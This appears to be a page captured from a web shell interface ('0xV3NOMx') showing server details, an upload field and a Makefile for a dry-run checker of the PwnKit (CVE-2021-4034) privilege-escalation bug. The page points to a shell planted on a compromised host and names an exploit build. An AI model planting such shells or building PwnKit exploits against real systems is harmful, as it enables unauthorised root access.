0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.145.61.142


Current Path : /var/www/html/misc_files/pkit/dry-run/
Upload File :
Current File : /var/www/html/misc_files/pkit/dry-run/Makefile

TRUE=$(shell which true)
WHOAMI=$(shell which whoami)

CFLAGS=-Wall -DTRUE='"${TRUE}"' -DWHOAMI='"${WHOAMI}"'

.PHONY: all
all: dry-run-cve-2021-4034

.PHONY: clean
clean:
	rm -rf dry-run-cve-2021-4034 pwnkit-dry-run.so_data.h pwnkit-dry-run.so

%.so: %.c
	$(CC) $(CFLAGS) --shared -fPIC -o $@ $<

%.so_data.h: %.so
	echo "#ifndef __PWNKIT_SO_DATA_H"  >$@
	echo "#define __PWNKIT_SO_DATA_H" >>$@
	xxd -i $<                         >>$@
	echo "#endif"                     >>$@

dry-run-cve-2021-4034: dry-run-cve-2021-4034.c pwnkit-dry-run.so_data.h
	$(CC) $(CFLAGS) -o $@ $<